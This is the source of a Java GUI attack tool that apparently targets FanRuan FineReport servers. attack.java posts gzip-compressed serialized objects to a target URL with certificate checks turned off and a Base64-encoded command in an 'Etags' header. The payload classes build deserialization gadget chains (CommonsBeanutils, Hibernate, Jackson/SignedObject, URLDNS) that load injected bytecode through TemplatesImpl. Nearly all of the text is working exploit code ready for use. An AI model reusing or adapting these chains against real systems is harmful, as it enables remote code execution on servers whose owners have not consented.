/src/main/java/com/example/frchannel/attack.java: -------------------------------------------------------------------------------- 1 | package com.example.frchannel; 2 | 3 | import org.apache.http.HttpHost; 4 | import org.apache.http.HttpResponse; 5 | import org.apache.http.client.HttpClient; 6 | import org.apache.http.client.config.RequestConfig; 7 | import org.apache.http.client.methods.HttpPost; 8 | import org.apache.http.conn.ssl.NoopHostnameVerifier; 9 | import org.apache.http.conn.ssl.SSLConnectionSocketFactory; 10 | import org.apache.http.conn.ssl.TrustSelfSignedStrategy; 11 | import org.apache.http.entity.ByteArrayEntity; 12 | import org.apache.http.impl.client.HttpClients; 13 | import org.apache.http.ssl.SSLContextBuilder; 14 | import org.apache.http.util.EntityUtils; 15 | 16 | import javax.net.ssl.HostnameVerifier; 17 | import javax.net.ssl.SSLContext; 18 | import java.util.Base64; 19 | 20 | 21 | public class attack { 22 | 23 | public attack() throws Exception { 24 | } 25 | 26 | // 发送payload 27 | public static String send(String url, byte[] bytes, String cmd, HttpHost proxy) throws Exception { 28 | 29 | HttpClient httpClient = null; 30 | 31 | if (url.contains("https://")){ 32 | SSLContext sslContext = SSLContextBuilder 33 | .create() 34 | .loadTrustMaterial(new TrustSelfSignedStrategy()) 35 | .build(); 36 | HostnameVerifier allowAllHosts = new NoopHostnameVerifier(); 37 | SSLConnectionSocketFactory connectionFactory = new SSLConnectionSocketFactory(sslContext, allowAllHosts); 38 | httpClient = HttpClients.custom() 39 | .setSSLSocketFactory(connectionFactory) 40 | .build(); 41 | } 42 | else { 43 | httpClient = HttpClients.createDefault(); 44 | } 45 | 46 | HttpPost httpPost = new HttpPost(url); 47 | 48 | httpPost.setEntity(new ByteArrayEntity(bytes)); 49 | // 创建RequestConfig,并设置代理 50 | RequestConfig config = RequestConfig.custom() 51 | .setProxy(proxy) 52 | .setSocketTimeout(10000) 53 | .setConnectTimeout(10000) 54 | .build(); 55 | // 将RequestConfig配置应用于HttpPost 56 | httpPost.setConfig(config); 57 | httpPost.setHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"); 58 | httpPost.setHeader("Content-Type","gzip"); 59 | 60 | if (cmd != null){ 61 | httpPost.setHeader("Etags",Base64.getEncoder().encodeToString(cmd.getBytes())); 62 | } 63 | 64 | try { 65 | HttpResponse response = httpClient.execute(httpPost); 66 | return EntityUtils.toString(response.getEntity()); 67 | 68 | } catch (Exception e) { 69 | return e.getMessage(); 70 | } 71 | } 72 | 73 | 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/com/example/frchannel/payload/CommonsBeanutils183.java: -------------------------------------------------------------------------------- 1 | package com.example.frchannel.payload; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import org.apache.commons.beanutils.BeanComparator; 5 | 6 | import java.lang.reflect.Constructor; 7 | import java.util.Comparator; 8 | import java.util.PriorityQueue; 9 | 10 | public class CommonsBeanutils183 { 11 | 12 | public static byte[] getPayload(byte[] bytes) throws Exception { 13 | TemplatesImpl t = utils.getTeml(bytes); 14 | PriorityQueue queue = new PriorityQueue<>(2); 15 | queue.add(1); 16 | queue.add(2); 17 | utils.setFieldValue(queue,"queue",new Object[]{t,2}); 18 | Constructor constructor = utils.getConstructor("java.lang.String$CaseInsensitiveComparator"); 19 | Comparator comparator = (Comparator) constructor.newInstance(); 20 | BeanComparator beanComparator = new BeanComparator("outputProperties",comparator); 21 | utils.setFieldValue(queue,"comparator",beanComparator); 22 | 23 | byte[] ser = utils.serialize(queue); 24 | byte[] payload = utils.GzipCompress(ser); 25 | 26 | return payload; 27 | } 28 | 29 | } 30 | -------------------------------------------------------------------------------- /src/main/java/com/example/frchannel/payload/Hibernate.java: -------------------------------------------------------------------------------- 1 | package com.example.frchannel.payload; 2 | 3 | import com.fr.third.org.hibernate.engine.spi.TypedValue; 4 | import com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer; 5 | import com.fr.third.org.hibernate.type.Type; 6 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 7 | 8 | import java.lang.reflect.Array; 9 | import java.lang.reflect.Constructor; 10 | import java.lang.reflect.Field; 11 | import java.lang.reflect.Method; 12 | import java.util.HashMap; 13 | 14 | public class Hibernate { 15 | public static byte[] getPayload(byte[] bytes) throws Exception { 16 | Class componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType"); 17 | Class pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer"); 18 | Class abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer"); 19 | 20 | 21 | // 生成包含恶意类字节码的 TemplatesImpl 类 22 | TemplatesImpl tmpl = utils.getTeml(bytes); 23 | Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties"); 24 | 25 | Object getter; 26 | try { 27 | // 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法 28 | Class getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl"); 29 | Constructor constructor = getterImpl.getDeclaredConstructors()[0]; 30 | constructor.setAccessible(true); 31 | getter = constructor.newInstance(null, null, method); 32 | } catch (Exception ignored) { 33 | // 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法 34 | Class basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter"); 35 | Constructor constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); 36 | constructor.setAccessible(true); 37 | getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties"); 38 | } 39 | 40 | Object getters = Array.newInstance(getter.getClass(), 1); 41 | Array.set(getters, 0, getter); 42 | 43 | // 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法 44 | AbstractComponentTuplizer tuplizer = (AbstractComponentTuplizer) utils.createInstanceUnsafely(pojoComponentTuplizerClass); 45 | 46 | // 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里 47 | Field field = abstractComponentTuplizerClass.getDeclaredField("getters"); 48 | field.setAccessible(true); 49 | field.set(tuplizer, getters); 50 | 51 | // 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法 52 | Object type = utils.createInstanceUnsafely(componentTypeClass); 53 | 54 | // 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件 55 | utils.setFieldValue(type,"componentTuplizer",tuplizer); 56 | 57 | utils.setFieldValue(type,"propertySpan",1); 58 | 59 | utils.setFieldValue(type,"propertyTypes",new Type[]{(Type) type}); 60 | 61 | // 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法 62 | TypedValue typedValue = new TypedValue((Type) type, null); 63 | 64 | // 创建反序列化用 HashMap 65 | HashMap hashMap = new HashMap<>(); 66 | hashMap.put(typedValue, "ppl"); 67 | 68 | // put 到 hashmap 之后再反射写入,防止 put 时触发 69 | utils.setFieldValue(typedValue,"value", tmpl); 70 | 71 | byte[] ser = utils.serialize(hashMap); 72 | // utils.unserialize(ser); 73 | byte[] payload = utils.GzipCompress(ser); 74 | return payload; 75 | 76 | } 77 | 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/com/example/frchannel/payload/JacksonSignedObject.java: -------------------------------------------------------------------------------- 1 | package com.example.frchannel.payload; 2 | 3 | import com.fr.third.fasterxml.jackson.databind.node.POJONode; 4 | import com.fr.third.springframework.aop.target.HotSwappableTargetSource; 5 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 6 | import com.sun.org.apache.xpath.internal.objects.XString; 7 | import javassist.ClassPool; 8 | import javassist.CtClass; 9 | import javassist.CtMethod; 10 | 11 | import javax.management.BadAttributeValueExpException; 12 | import java.lang.reflect.Array; 13 | import java.lang.reflect.Constructor; 14 | import java.security.SignedObject; 15 | import java.util.HashMap; 16 | 17 | public class JacksonSignedObject { 18 | 19 | public static byte[] getPayload(byte[] bytes) throws Exception { 20 | TemplatesImpl t = utils.getTeml(bytes); 21 | try { 22 | CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode"); 23 | CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); 24 | ctClass.removeMethod(writeReplace); 25 | // 将修改后的CtClass加载至当前线程的上下文类加载器中 26 | ctClass.toClass(); 27 | } 28 | catch (Exception e){ 29 | 30 | } 31 | 32 | POJONode node = new POJONode(utils.makeTemplatesImplAopProxy(t)); 33 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 34 | utils.setFieldValue(val,"val",node); 35 | 36 | 37 | 38 | 39 | SignedObject s = utils.makeSignedObject(val); 40 | 41 | POJONode node2 = new POJONode(s); 42 | 43 | 44 | HotSwappableTargetSource h1 = new HotSwappableTargetSource(node2); 45 | HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx")); 46 | 47 | HashMap hashmap = new HashMap<>(); 48 | utils.setFieldValue(hashmap, "size", 2); 49 | Class nodeC; 50 | try { 51 | nodeC = Class.forName("java.util.HashMap$Node"); 52 | } 53 | catch ( ClassNotFoundException e ) { 54 | nodeC = Class.forName("java.util.HashMap$Entry"); 55 | } 56 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); 57 | nodeCons.setAccessible(true); 58 | 59 | Object tbl = Array.newInstance(nodeC, 2); 60 | Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null)); 61 | Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null)); 62 | utils.setFieldValue(hashmap, "table", tbl); 63 | 64 | 65 | byte[] ser = utils.serialize(hashmap); 66 | byte[] payload = utils.GzipCompress(ser); 67 | 68 | return payload; 69 | } 70 | 71 | 72 | } 73 | -------------------------------------------------------------------------------- /src/main/java/com/example/frchannel/payload/URLDNS.java: -------------------------------------------------------------------------------- 1 | package com.example.frchannel.payload; 2 | 3 | import java.net.URL; 4 | import java.util.HashMap; 5 | 6 | public class URLDNS { 7 | 8 | public static byte[] getPayload(String dnslog) { 9 | try { 10 | HashMap map = new HashMap(); 11 | URL url = new URL("http://"+dnslog); 12 | utils.setFieldValue(url,"hashCode",123123); 13 | map.put(url,123); 14 | utils.setFieldValue(url,"hashCode",-1); 15 | 16 | byte[] ser = utils.serialize(map); 17 | byte[] payload = utils.GzipCompress(ser); 18 | 19 | return payload; 20 | } 21 | catch (Exception e){ 22 | 23 | } 24 | return null; 25 | } 26 | 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/com/example/frchannel/payload/utils.java: -------------------------------------------------------------------------------- 1 | package com.example.frchannel.payload; 2 | 3 | import com.fr.third.springframework.aop.framework.AdvisedSupport; 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 5 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 6 | import sun.misc.Unsafe; 7 | 8 | import javax.xml.transform.Templates; 9 | import java.io.*; 10 | import java.lang.reflect.Constructor; 11 | import java.lang.reflect.Field; 12 | import java.lang.reflect.InvocationHandler; 13 | import java.lang.reflect.Proxy; 14 | import java.math.BigInteger; 15 | import java.security.*; 16 | import java.security.interfaces.DSAParams; 17 | import java.security.interfaces.DSAPrivateKey; 18 | import java.util.zip.GZIPInputStream; 19 | import java.util.zip.GZIPOutputStream; 20 | 21 | public class utils { 22 | public static TemplatesImpl getTeml(byte[] bytes) throws Exception { 23 | TemplatesImpl templates = TemplatesImpl.class.newInstance(); 24 | setFieldValue(templates,"_name","moresec"+System.nanoTime()); 25 | setFieldValue(templates,"_class",null); 26 | setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); 27 | setFieldValue(templates,"_bytecodes",new byte[][]{bytes}); 28 | return templates; 29 | } 30 | 31 | public static void setFieldValue(Object o, String fieldName, Object value) throws Exception { 32 | Field field = o.getClass().getDeclaredField(fieldName); 33 | field.setAccessible(true); 34 | field.set(o,value); 35 | } 36 | 37 | public static Object getFieldValue(Object o, String fieldName) throws Exception { 38 | Field field = o.getClass().getDeclaredField(fieldName); 39 | field.setAccessible(true); 40 | return field.get(o); 41 | } 42 | public static Constructor getConstructor(String name) throws Exception { 43 | Constructor ctor = Class.forName(name).getDeclaredConstructor(); 44 | ctor.setAccessible(true); 45 | return ctor; 46 | } 47 | public static byte[] getClassByteCode(String classname) { 48 | String jarname = "/" + classname.replace('.', '/') + ".class"; 49 | InputStream is = utils.class.getResourceAsStream(jarname); 50 | ByteArrayOutputStream bytestream = new ByteArrayOutputStream(); 51 | int ch; 52 | byte imgdata[] = null; 53 | try { 54 | while ((ch = is.read()) != -1) { 55 | bytestream.write(ch); 56 | } 57 | imgdata = bytestream.toByteArray(); 58 | } catch (IOException e) { 59 | e.printStackTrace(); 60 | } finally { 61 | try { 62 | bytestream.close(); 63 | } catch (IOException e) { 64 | e.printStackTrace(); 65 | } 66 | } 67 | return imgdata; 68 | } 69 | public static SignedObject makeSignedObject(Object o) throws IOException, InvalidKeyException, SignatureException { 70 | return new SignedObject((Serializable) o, 71 | new DSAPrivateKey() { 72 | @Override 73 | public DSAParams getParams() { 74 | return null; 75 | } 76 | 77 | @Override 78 | public String getAlgorithm() { 79 | return null; 80 | } 81 | 82 | @Override 83 | public String getFormat() { 84 | return null; 85 | } 86 | 87 | @Override 88 | public byte[] getEncoded() { 89 | return new byte[0]; 90 | } 91 | 92 | @Override 93 | public BigInteger getX() { 94 | return null; 95 | } 96 | }, 97 | new Signature("x") { 98 | @Override 99 | protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException { 100 | 101 | } 102 | 103 | @Override 104 | protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException { 105 | 106 | } 107 | 108 | @Override 109 | protected void engineUpdate(byte b) throws SignatureException { 110 | 111 | } 112 | 113 | @Override 114 | protected void engineUpdate(byte[] b, int off, int len) throws SignatureException { 115 | 116 | } 117 | 118 | @Override 119 | protected byte[] engineSign() throws SignatureException { 120 | return new byte[0]; 121 | } 122 | 123 | @Override 124 | protected boolean engineVerify(byte[] sigBytes) throws SignatureException { 125 | return false; 126 | } 127 | 128 | @Override 129 | protected void engineSetParameter(String param, Object value) throws InvalidParameterException { 130 | 131 | } 132 | 133 | @Override 134 | protected Object engineGetParameter(String param) throws InvalidParameterException { 135 | return null; 136 | } 137 | }); 138 | } 139 | public static byte[] serialize(Object o) throws IOException { 140 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 141 | ObjectOutputStream oos = new ObjectOutputStream(bao); 142 | oos.writeObject(o); 143 | return bao.toByteArray(); 144 | } 145 | 146 | public static void unserialize(byte[] b) throws IOException, ClassNotFoundException { 147 | ByteArrayInputStream bis = new ByteArrayInputStream(b); 148 | ObjectInputStream ois = new ObjectInputStream(bis); 149 | ois.readObject(); 150 | } 151 | public static byte[] hexToByte(String hex){ 152 | int m = 0, n = 0; 153 | int byteLen = hex.length() / 2; // 每两个字符描述一个字节 154 | byte[] ret = new byte[byteLen]; 155 | for (int i = 0; i < byteLen; i++) { 156 | m = i * 2 + 1; 157 | n = m + 1; 158 | int intVal = Integer.decode("0x" + hex.substring(i * 2, m) + hex.substring(m, n)); 159 | ret[i] = Byte.valueOf((byte)intVal); 160 | } 161 | return ret; 162 | } 163 | public static byte[] GzipCompress(byte[] out) throws Exception{ 164 | ByteArrayOutputStream out2 = new ByteArrayOutputStream(); 165 | GZIPOutputStream gzip; 166 | gzip = new GZIPOutputStream(out2); 167 | gzip.write(out); 168 | gzip.close(); 169 | return out2.toByteArray(); 170 | } 171 | 172 | public static byte[] GzipUncompress(byte[] bytes) { 173 | if (bytes == null || bytes.length == 0) { 174 | return null; 175 | } 176 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 177 | ByteArrayInputStream in = new ByteArrayInputStream(bytes); 178 | try { 179 | GZIPInputStream ungzip = new GZIPInputStream(in); 180 | byte[] buffer = new byte[256]; 181 | int n; 182 | while ((n = ungzip.read(buffer)) >= 0) { 183 | out.write(buffer, 0, n); 184 | } 185 | } catch (IOException e) { 186 | // ApiLogger.error("gzip uncompress error.", e); 187 | } 188 | 189 | return out.toByteArray(); 190 | } 191 | // 使用 Unsafe 来绕过构造方法创建类实例 192 | public static Object createInstanceUnsafely(Class clazz) throws Exception { 193 | // 反射获取Unsafe的theUnsafe成员变量 194 | Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); 195 | theUnsafeField.setAccessible(true); 196 | Unsafe unsafe = (Unsafe) theUnsafeField.get(null); 197 | return unsafe.allocateInstance(clazz); 198 | } 199 | public static Object makeTemplatesImplAopProxy(Object o) throws Exception { 200 | AdvisedSupport advisedSupport = new AdvisedSupport(); 201 | advisedSupport.setTarget(o); 202 | Constructor constructor = Class.forName("com.fr.third.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); 203 | constructor.setAccessible(true); 204 | InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); 205 | Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); 206 | return proxy; 207 | } 208 | 209 | } 210 | 211 | 212 | -------------------------------------------------------------------------------- /src/main/resources/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: com.example.frchannel.MainApplication 3 | -------------------------------------------------------------------------------- /src/main/resources/com/example/frchannel/main.fxml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 52 | 53 | 54 | 55 | 89 | 90 | 91 | 92 | 93 | 94 | 95 |